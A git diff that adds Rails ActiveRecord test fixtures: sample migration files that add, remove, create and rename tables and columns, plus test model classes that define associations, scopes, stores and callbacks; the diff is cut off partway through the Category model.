diff --git a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
new file mode 100644
index 0000000..c066c06
--- /dev/null
+++ b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
@@ -0,0 +1,12 @@
+# coding: ISO-8859-15
+
+class CurrenciesHaveSymbols < ActiveRecord::Migration
+ def self.up
+ # We use � for default currency symbol
+ add_column "currencies", "symbol", :string, :default => "�"
+ end
+
+ def self.down
+ remove_column "currencies", "symbol"
+ end
+end
diff --git a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
new file mode 100644
index 0000000..9fd495b
--- /dev/null
+++ b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
@@ -0,0 +1,9 @@
+class PeopleHaveMiddleNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "middle_name", :string
+ end
+
+ def self.down
+ remove_column "people", "middle_name"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/missing/1_people_have_last_names.rb b/activerecord/test/migrations/missing/1_people_have_last_names.rb
new file mode 100644
index 0000000..81af5fe
--- /dev/null
+++ b/activerecord/test/migrations/missing/1_people_have_last_names.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "last_name", :string
+ end
+
+ def self.down
+ remove_column "people", "last_name"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/missing/3_we_need_reminders.rb b/activerecord/test/migrations/missing/3_we_need_reminders.rb
new file mode 100644
index 0000000..d5e71ce
--- /dev/null
+++ b/activerecord/test/migrations/missing/3_we_need_reminders.rb
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+ def self.up
+ create_table("reminders") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table "reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/missing/4_innocent_jointable.rb b/activerecord/test/migrations/missing/4_innocent_jointable.rb
new file mode 100644
index 0000000..21c9ca5
--- /dev/null
+++ b/activerecord/test/migrations/missing/4_innocent_jointable.rb
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+ def self.up
+ create_table("people_reminders", :id => false) do |t|
+ t.column :reminder_id, :integer
+ t.column :person_id, :integer
+ end
+ end
+
+ def self.down
+ drop_table "people_reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/rename/1_we_need_things.rb b/activerecord/test/migrations/rename/1_we_need_things.rb
new file mode 100644
index 0000000..cdbe0b1
--- /dev/null
+++ b/activerecord/test/migrations/rename/1_we_need_things.rb
@@ -0,0 +1,11 @@
+class WeNeedThings < ActiveRecord::Migration
+ def self.up
+ create_table("things") do |t|
+ t.column :content, :text
+ end
+ end
+
+ def self.down
+ drop_table "things"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/rename/2_rename_things.rb b/activerecord/test/migrations/rename/2_rename_things.rb
new file mode 100644
index 0000000..d441b71
--- /dev/null
+++ b/activerecord/test/migrations/rename/2_rename_things.rb
@@ -0,0 +1,9 @@
+class RenameThings < ActiveRecord::Migration
+ def self.up
+ rename_table "things", "awesome_things"
+ end
+
+ def self.down
+ rename_table "awesome_things", "things"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
new file mode 100644
index 0000000..639841f
--- /dev/null
+++ b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "hobbies", :text
+ end
+
+ def self.down
+ remove_column "people", "hobbies"
+ end
+end
diff --git a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
new file mode 100644
index 0000000..b3d0b30
--- /dev/null
+++ b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "description", :text
+ end
+
+ def self.down
+ remove_column "people", "description"
+ end
+end
diff --git a/activerecord/test/migrations/to_copy2/1_create_articles.rb b/activerecord/test/migrations/to_copy2/1_create_articles.rb
new file mode 100644
index 0000000..0f048d9
--- /dev/null
+++ b/activerecord/test/migrations/to_copy2/1_create_articles.rb
@@ -0,0 +1,7 @@
+class CreateArticles < ActiveRecord::Migration
+ def self.up
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/migrations/to_copy2/2_create_comments.rb b/activerecord/test/migrations/to_copy2/2_create_comments.rb
new file mode 100644
index 0000000..0f048d9
--- /dev/null
+++ b/activerecord/test/migrations/to_copy2/2_create_comments.rb
@@ -0,0 +1,7 @@
+class CreateArticles < ActiveRecord::Migration
+ def self.up
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
new file mode 100644
index 0000000..e438cf5
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "hobbies", :string
+ end
+
+ def self.down
+ remove_column "people", "hobbies"
+ end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
new file mode 100644
index 0000000..639841f
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "hobbies", :text
+ end
+
+ def self.down
+ remove_column "people", "hobbies"
+ end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
new file mode 100644
index 0000000..b3d0b30
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "description", :text
+ end
+
+ def self.down
+ remove_column "people", "description"
+ end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
new file mode 100644
index 0000000..0f048d9
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
@@ -0,0 +1,7 @@
+class CreateArticles < ActiveRecord::Migration
+ def self.up
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
new file mode 100644
index 0000000..2b048ed
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
@@ -0,0 +1,7 @@
+class CreateComments < ActiveRecord::Migration
+ def self.up
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
new file mode 100644
index 0000000..06cb911
--- /dev/null
+++ b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
@@ -0,0 +1,9 @@
+class ValidPeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "last_name", :string
+ end
+
+ def self.down
+ remove_column "people", "last_name"
+ end
+end
diff --git a/activerecord/test/migrations/valid/2_we_need_reminders.rb b/activerecord/test/migrations/valid/2_we_need_reminders.rb
new file mode 100644
index 0000000..d5e71ce
--- /dev/null
+++ b/activerecord/test/migrations/valid/2_we_need_reminders.rb
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+ def self.up
+ create_table("reminders") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table "reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/valid/3_innocent_jointable.rb b/activerecord/test/migrations/valid/3_innocent_jointable.rb
new file mode 100644
index 0000000..21c9ca5
--- /dev/null
+++ b/activerecord/test/migrations/valid/3_innocent_jointable.rb
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+ def self.up
+ create_table("people_reminders", :id => false) do |t|
+ t.column :reminder_id, :integer
+ t.column :person_id, :integer
+ end
+ end
+
+ def self.down
+ drop_table "people_reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
new file mode 100644
index 0000000..06cb911
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
@@ -0,0 +1,9 @@
+class ValidPeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "last_name", :string
+ end
+
+ def self.down
+ remove_column "people", "last_name"
+ end
+end
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
new file mode 100644
index 0000000..d5e71ce
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+ def self.up
+ create_table("reminders") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table "reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
new file mode 100644
index 0000000..21c9ca5
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+ def self.up
+ create_table("people_reminders", :id => false) do |t|
+ t.column :reminder_id, :integer
+ t.column :person_id, :integer
+ end
+ end
+
+ def self.down
+ drop_table "people_reminders"
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
new file mode 100644
index 0000000..1da99ce
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
@@ -0,0 +1,9 @@
+class ValidWithTimestampsPeopleHaveLastNames < ActiveRecord::Migration
+ def self.up
+ add_column "people", "last_name", :string
+ end
+
+ def self.down
+ remove_column "people", "last_name"
+ end
+end
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
new file mode 100644
index 0000000..cb6d735
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
@@ -0,0 +1,12 @@
+class ValidWithTimestampsWeNeedReminders < ActiveRecord::Migration
+ def self.up
+ create_table("reminders") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table "reminders"
+ end
+end
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
new file mode 100644
index 0000000..4bd4b47
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
@@ -0,0 +1,12 @@
+class ValidWithTimestampsInnocentJointable < ActiveRecord::Migration
+ def self.up
+ create_table("people_reminders", :id => false) do |t|
+ t.column :reminder_id, :integer
+ t.column :person_id, :integer
+ end
+ end
+
+ def self.down
+ drop_table "people_reminders"
+ end
+end
diff --git a/activerecord/test/models/admin.rb b/activerecord/test/models/admin.rb
new file mode 100644
index 0000000..00e69fb
--- /dev/null
+++ b/activerecord/test/models/admin.rb
@@ -0,0 +1,5 @@
+module Admin
+ def self.table_name_prefix
+ 'admin_'
+ end
+end
\ No newline at end of file
diff --git a/activerecord/test/models/admin/account.rb b/activerecord/test/models/admin/account.rb
new file mode 100644
index 0000000..46de28a
--- /dev/null
+++ b/activerecord/test/models/admin/account.rb
@@ -0,0 +1,3 @@
+class Admin::Account < ActiveRecord::Base
+ has_many :users
+end
\ No newline at end of file
diff --git a/activerecord/test/models/admin/randomly_named_c1.rb b/activerecord/test/models/admin/randomly_named_c1.rb
new file mode 100644
index 0000000..2f81d5b
--- /dev/null
+++ b/activerecord/test/models/admin/randomly_named_c1.rb
@@ -0,0 +1,3 @@
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base
+ self.table_name = :randomly_named_table
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
new file mode 100644
index 0000000..4c3b71e
--- /dev/null
+++ b/activerecord/test/models/admin/user.rb
@@ -0,0 +1,39 @@
+class Admin::User < ActiveRecord::Base
+ class Coder
+ def initialize(default = {})
+ @default = default
+ end
+
+ def dump(o)
+ ActiveSupport::JSON.encode(o || @default)
+ end
+
+ def load(s)
+ s.present? ? ActiveSupport::JSON.decode(s) : @default.clone
+ end
+ end
+
+ belongs_to :account
+ store :settings, :accessors => [ :color, :homepage ]
+ store_accessor :settings, :favorite_food
+ store :preferences, :accessors => [ :remember_login ]
+ store :json_data, :accessors => [ :height, :weight ], :coder => Coder.new
+ store :json_data_empty, :accessors => [ :is_a_good_guy ], :coder => Coder.new
+
+ def phone_number
+ read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/,'(\1) \2-\3')
+ end
+
+ def phone_number=(value)
+ write_store_attribute(:settings, :phone_number, value && value.gsub(/[^\d]/,''))
+ end
+
+ def color
+ super || 'red'
+ end
+
+ def color=(value)
+ value = 'blue' unless %w(black red green blue).include?(value)
+ super
+ end
+end
diff --git a/activerecord/test/models/aircraft.rb b/activerecord/test/models/aircraft.rb
new file mode 100644
index 0000000..1f35ef4
--- /dev/null
+++ b/activerecord/test/models/aircraft.rb
@@ -0,0 +1,4 @@
+class Aircraft < ActiveRecord::Base
+ self.pluralize_table_names = false
+ has_many :engines, :foreign_key => "car_id"
+end
diff --git a/activerecord/test/models/arunit2_model.rb b/activerecord/test/models/arunit2_model.rb
new file mode 100644
index 0000000..04b8b15
--- /dev/null
+++ b/activerecord/test/models/arunit2_model.rb
@@ -0,0 +1,3 @@
+class ARUnit2Model < ActiveRecord::Base
+ self.abstract_class = true
+end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
new file mode 100644
index 0000000..a96899a
--- /dev/null
+++ b/activerecord/test/models/author.rb
@@ -0,0 +1,192 @@
+class Author < ActiveRecord::Base
+ has_many :posts
+ has_one :post
+ has_many :very_special_comments, :through => :posts
+ has_many :posts_with_comments, -> { includes(:comments) }, :class_name => "Post"
+ has_many :popular_grouped_posts, -> { includes(:comments).group("type").having("SUM(comments_count) > 1").select("type") }, :class_name => "Post"
+ has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order('comments.id') }, :class_name => "Post"
+ has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
+ has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
+ has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
+ has_many :posts_containing_the_letter_a, :class_name => "Post"
+ has_many :posts_with_special_categorizations, :class_name => 'PostWithSpecialCategorization'
+ has_many :posts_with_extension, :class_name => "Post"
+ has_one :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
+ has_one :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
+ has_many :comments, :through => :posts
+ has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
+ has_many :comments_with_order_and_conditions, -> { order('comments.body').where("comments.body like 'Thank%'") }, :through => :posts, :source => :comments
+ has_many :comments_with_include, -> { includes(:post) }, :through => :posts, :source => :comments
+
+ has_many :first_posts
+ has_many :comments_on_first_posts, -> { order('posts.id desc, comments.id asc') }, :through => :first_posts, :source => :comments
+
+ has_one :first_post
+ has_one :comment_on_first_post, -> { order('posts.id desc, comments.id asc') }, :through => :first_post, :source => :comments
+
+ has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
+ has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
+
+ has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
+ has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
+ has_many :funky_comments, :through => :posts, :source => :comments
+ has_many :ordered_uniq_comments, -> { distinct.order('comments.id') }, :through => :posts, :source => :comments
+ has_many :ordered_uniq_comments_desc, -> { distinct.order('comments.id DESC') }, :through => :posts, :source => :comments
+ has_many :readonly_comments, -> { readonly }, :through => :posts, :source => :comments
+
+ has_many :special_posts
+ has_many :special_post_comments, :through => :special_posts, :source => :comments
+
+ has_many :sti_posts, :class_name => 'StiPost'
+ has_many :sti_post_comments, :through => :sti_posts, :source => :comments
+
+ has_many :special_nonexistant_posts, -> { where("posts.body = 'nonexistant'") }, :class_name => "SpecialPost"
+ has_many :special_nonexistant_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistant_posts, :source => :comments
+ has_many :nonexistant_comments, :through => :posts
+
+ has_many :hello_posts, -> { where "posts.body = 'hello'" }, :class_name => "Post"
+ has_many :hello_post_comments, :through => :hello_posts, :source => :comments
+ has_many :posts_with_no_comments, -> { where('comments.id' => nil).includes(:comments) }, :class_name => 'Post'
+
+ has_many :hello_posts_with_hash_conditions, -> { where(:body => 'hello') }, :class_name => "Post"
+ has_many :hello_post_comments_with_hash_conditions, :through =>
+:hello_posts_with_hash_conditions, :source => :comments
+
+ has_many :other_posts, :class_name => "Post"
+ has_many :posts_with_callbacks, :class_name => "Post", :before_add => :log_before_adding,
+ :after_add => :log_after_adding,
+ :before_remove => :log_before_removing,
+ :after_remove => :log_after_removing
+ has_many :posts_with_proc_callbacks, :class_name => "Post",
+ :before_add => Proc.new {|o, r| o.post_log << "before_adding#{r.id || '<new>'}"},
+ :after_add => Proc.new {|o, r| o.post_log << "after_adding#{r.id || '<new>'}"},
+ :before_remove => Proc.new {|o, r| o.post_log << "before_removing#{r.id}"},
+ :after_remove => Proc.new {|o, r| o.post_log << "after_removing#{r.id}"}
+ has_many :posts_with_multiple_callbacks, :class_name => "Post",
+ :before_add => [:log_before_adding, Proc.new {|o, r| o.post_log << "before_adding_proc#{r.id || '<new>'}"}],
+ :after_add => [:log_after_adding, Proc.new {|o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}"}]
+ has_many :unchangable_posts, :class_name => "Post", :before_add => :raise_exception, :after_add => :log_after_adding
+
+ has_many :categorizations
+ has_many :categories, :through => :categorizations
+ has_many :named_categories, :through => :categorizations
+
+ has_many :special_categorizations
+ has_many :special_categories, :through => :special_categorizations, :source => :category
+ has_one :special_category, :through => :special_categorizations, :source => :category
+
+ has_many :categories_like_general, -> { where(:name => 'General') }, :through => :categorizations, :source => :category, :class_name => 'Category'
+
+ has_many :categorized_posts, :through => :categorizations, :source => :post
+ has_many :unique_categorized_posts, -> { distinct }, :through => :categorizations, :source => :post
+
+ has_many :nothings, :through => :kateggorisatons, :class_name => 'Category'
+
+ has_many :author_favorites
+ has_many :favorite_authors, -> { order('name') }, :through => :author_favorites
+
+ has_many :taggings, :through => :posts
+ has_many :taggings_2, :through => :posts, :source => :tagging
+ has_many :tags, :through => :posts
+ has_many :post_categories, :through => :posts, :source => :categories
+ has_many :tagging_tags, :through => :taggings, :source => :tag
+
+ has_many :similar_posts, -> { distinct }, :through => :tags, :source => :tagged_posts
+ has_many :distinct_tags, -> { select("DISTINCT tags.*").order("tags.name") }, :through => :posts, :source => :tags
+
+ has_many :tags_with_primary_key, :through => :posts
+
+ has_many :books
+ has_many :subscriptions, :through => :books
+ has_many :subscribers, -> { order("subscribers.nick") }, :through => :subscriptions
+ has_many :distinct_subscribers, -> { select("DISTINCT subscribers.*").order("subscribers.nick") }, :through => :subscriptions, :source => :subscriber
+
+ has_one :essay, :primary_key => :name, :as => :writer
+ has_one :essay_category, :through => :essay, :source => :category
+ has_one :essay_owner, :through => :essay, :source => :owner
+
+ has_one :essay_2, :primary_key => :name, :class_name => 'Essay', :foreign_key => :author_id
+ has_one :essay_category_2, :through => :essay_2, :source => :category
+
+ has_many :essays, :primary_key => :name, :as => :writer
+ has_many :essay_categories, :through => :essays, :source => :category
+ has_many :essay_owners, :through => :essays, :source => :owner
+
+ has_many :essays_2, :primary_key => :name, :class_name => 'Essay', :foreign_key => :author_id
+ has_many :essay_categories_2, :through => :essays_2, :source => :category
+
+ belongs_to :owned_essay, :primary_key => :name, :class_name => 'Essay'
+ has_one :owned_essay_category, :through => :owned_essay, :source => :category
+
+ belongs_to :author_address, :dependent => :destroy
+ belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
+
+ has_many :category_post_comments, :through => :categories, :source => :post_comments
+
+ has_many :misc_posts, -> { where(:posts => { :title => ['misc post by bob', 'misc post by mary'] }) }, :class_name => 'Post'
+ has_many :misc_post_first_blue_tags, :through => :misc_posts, :source => :first_blue_tags
+
+ has_many :misc_post_first_blue_tags_2, -> { where(:posts => { :title => ['misc post by bob', 'misc post by mary'] }) },
+ :through => :posts, :source => :first_blue_tags_2
+
+ has_many :posts_with_default_include, :class_name => 'PostWithDefaultInclude'
+ has_many :comments_on_posts_with_default_include, :through => :posts_with_default_include, :source => :comments
+
+ scope :relation_include_posts, -> { includes(:posts) }
+ scope :relation_include_tags, -> { includes(:tags) }
+
+ attr_accessor :post_log
+ after_initialize :set_post_log
+
+ def set_post_log
+ @post_log = []
+ end
+
+ def label
+ "#{id}-#{name}"
+ end
+
+ def social
+ %w(twitter github)
+ end
+
+ validates_presence_of :name
+
+ private
+ def log_before_adding(object)
+ @post_log << "before_adding#{object.id || '<new>'}"
+ end
+
+ def log_after_adding(object)
+ @post_log << "after_adding#{object.id}"
+ end
+
+ def log_before_removing(object)
+ @post_log << "before_removing#{object.id}"
+ end
+
+ def log_after_removing(object)
+ @post_log << "after_removing#{object.id}"
+ end
+
+ def raise_exception(object)
+ raise Exception.new("You can't add a post")
+ end
+end
+
+class AuthorAddress < ActiveRecord::Base
+ has_one :author
+
+ def self.destroyed_author_address_ids
+ @destroyed_author_address_ids ||= []
+ end
+
+ before_destroy do |author_address|
+ AuthorAddress.destroyed_author_address_ids << author_address.id
+ end
+end
+
+class AuthorFavorite < ActiveRecord::Base
+ belongs_to :author
+ belongs_to :favorite_author, :class_name => "Author"
+end
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
new file mode 100644
index 0000000..d720e2b
--- /dev/null
+++ b/activerecord/test/models/auto_id.rb
@@ -0,0 +1,4 @@
+class AutoId < ActiveRecord::Base
+ def self.table_name () "auto_id_tests" end
+ def self.primary_key () "auto_id" end
+end
diff --git a/activerecord/test/models/autoloadable/extra_firm.rb b/activerecord/test/models/autoloadable/extra_firm.rb
new file mode 100644
index 0000000..5578ba0
--- /dev/null
+++ b/activerecord/test/models/autoloadable/extra_firm.rb
@@ -0,0 +1,2 @@
+class ExtraFirm < Company
+end
diff --git a/activerecord/test/models/binary.rb b/activerecord/test/models/binary.rb
new file mode 100644
index 0000000..950c459
--- /dev/null
+++ b/activerecord/test/models/binary.rb
@@ -0,0 +1,2 @@
+class Binary < ActiveRecord::Base
+end
\ No newline at end of file
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
new file mode 100644
index 0000000..dff099c
--- /dev/null
+++ b/activerecord/test/models/bird.rb
@@ -0,0 +1,12 @@
+class Bird < ActiveRecord::Base
+ belongs_to :pirate
+ validates_presence_of :name
+
+ accepts_nested_attributes_for :pirate
+
+ attr_accessor :cancel_save_from_callback
+ before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
+ def cancel_save_callback_method
+ false
+ end
+end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
new file mode 100644
index 0000000..5458a28
--- /dev/null
+++ b/activerecord/test/models/book.rb
@@ -0,0 +1,9 @@
+class Book < ActiveRecord::Base
+ has_many :authors
+
+ has_many :citations, :foreign_key => 'book1_id'
+ has_many :references, -> { distinct }, :through => :citations, :source => :reference_of
+
+ has_many :subscriptions
+ has_many :subscribers, :through => :subscriptions
+end
diff --git a/activerecord/test/models/boolean.rb b/activerecord/test/models/boolean.rb
new file mode 100644
index 0000000..7bae22e
--- /dev/null
+++ b/activerecord/test/models/boolean.rb
@@ -0,0 +1,2 @@
+class Boolean < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
new file mode 100644
index 0000000..0109ef4
--- /dev/null
+++ b/activerecord/test/models/bulb.rb
@@ -0,0 +1,39 @@
+class Bulb < ActiveRecord::Base
+ default_scope { where(:name => 'defaulty') }
+ belongs_to :car, :touch => true
+
+ attr_reader :scope_after_initialize, :attributes_after_initialize
+
+ after_initialize :record_scope_after_initialize
+ def record_scope_after_initialize
+ @scope_after_initialize = self.class.all
+ end
+
+ after_initialize :record_attributes_after_initialize
+ def record_attributes_after_initialize
+ @attributes_after_initialize = attributes.dup
+ end
+
+ def color=(color)
+ self[:color] = color.upcase + "!"
+ end
+
+ def self.new(attributes = {}, &block)
+ bulb_type = (attributes || {}).delete(:bulb_type)
+
+ if bulb_type.present?
+ bulb_class = "#{bulb_type.to_s.camelize}Bulb".constantize
+ bulb_class.new(attributes, &block)
+ else
+ super
+ end
+ end
+end
+
+class CustomBulb < Bulb
+ after_initialize :set_awesomeness
+
+ def set_awesomeness
+ self.frickinawesome = true if name == 'Dude'
+ end
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
new file mode 100644
index 0000000..ac42f44
--- /dev/null
+++ b/activerecord/test/models/car.rb
@@ -0,0 +1,27 @@
+class Car < ActiveRecord::Base
+
+ has_many :bulbs
+ has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
+ has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
+
+ has_one :bulb
+ has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
+
+ has_many :tyres
+ has_many :engines, :dependent => :destroy
+ has_many :wheels, :as => :wheelable, :dependent => :destroy
+
+ scope :incl_tyres, -> { includes(:tyres) }
+ scope :incl_engines, -> { includes(:engines) }
+
+ scope :order_using_new_style, -> { order('name asc') }
+
+end
+
+class CoolCar < Car
+ default_scope { order('name desc') }
+end
+
+class FastCar < Car
+ default_scope { order('name desc') }
+end
diff --git a/activerecord/test/models/categorization.rb b/activerecord/test/models/categorization.rb
new file mode 100644
index 0000000..6588531
--- /dev/null
+++ b/activerecord/test/models/categorization.rb
@@ -0,0 +1,19 @@
+class Categorization < ActiveRecord::Base
+ belongs_to :post
+ belongs_to :category
+ belongs_to :named_category, :class_name => 'Category', :foreign_key => :named_category_name, :primary_key => :name
+ belongs_to :author
+
+ has_many :post_taggings, :through => :author, :source => :taggings
+
+ belongs_to :author_using_custom_pk, :class_name => 'Author', :foreign_key => :author_id, :primary_key => :author_address_extra_id
+ has_many :authors_using_custom_pk, :class_name => 'Author', :foreign_key => :id, :primary_key => :category_id
+end
+
+class SpecialCategorization < ActiveRecord::Base
+ self.table_name = 'categorizations'
+ default_scope { where(:special => true) }
+
+ belongs_to :author
+ belongs_to :category
+end
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
new file mode 100644
index 0000000..7da39a8
--- /dev/null
+++ b/activerecord/test/models/category.rb
@@ -0,0 +1,34 @@
+class Category < ActiveRecord::Base
+ has_and_belongs_to_many :posts
+ has_and_belongs_to_many :special_posts, :class_name => "Post"
+ has_and_belongs_to_many :other_posts, :class_name => "Post"
+ has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, -> { includes(:authors).order("authors.id") }, :class_name => "Post"
+
+ has_and_belongs_to_many :select_testing_posts,
+ -> { select 'posts.*, 1 as correctness_marker' },
+ :class_name => 'Post',
+ :foreign_key => 'category_id',
+ :association_foreign_key => 'post_id'
+
+ has_and_belongs_to_many :post_with_conditions,
+ -> { where :title => 'Yet Another Testing Title' },
+ :class_name => 'Post'
+
+ has_and_belongs_to_many :popular_grouped_posts, -> { group("posts.type").having("sum(comments.post_id) > 2").includes(:comments) }, :class_name => "Post"
+ has_and_belongs_to_many :posts_grouped_by_title, -> { group("title").select("title") }, :class_name => "Post"
+
+ def self.what_are_you
+ 'a category...'
+ end
+
+ has_many :categorizations
+ has_many :post_comments, :through => :posts, :source => :comments
+
+ has_many :authors, :through => :categorizations
+ has_many :authors_with_select, -> { select 'authors.*, categorizations.post_id' }, :through => :categorizations, :source => :author
+
+ scope :general, -> { where(:name => 'General') }
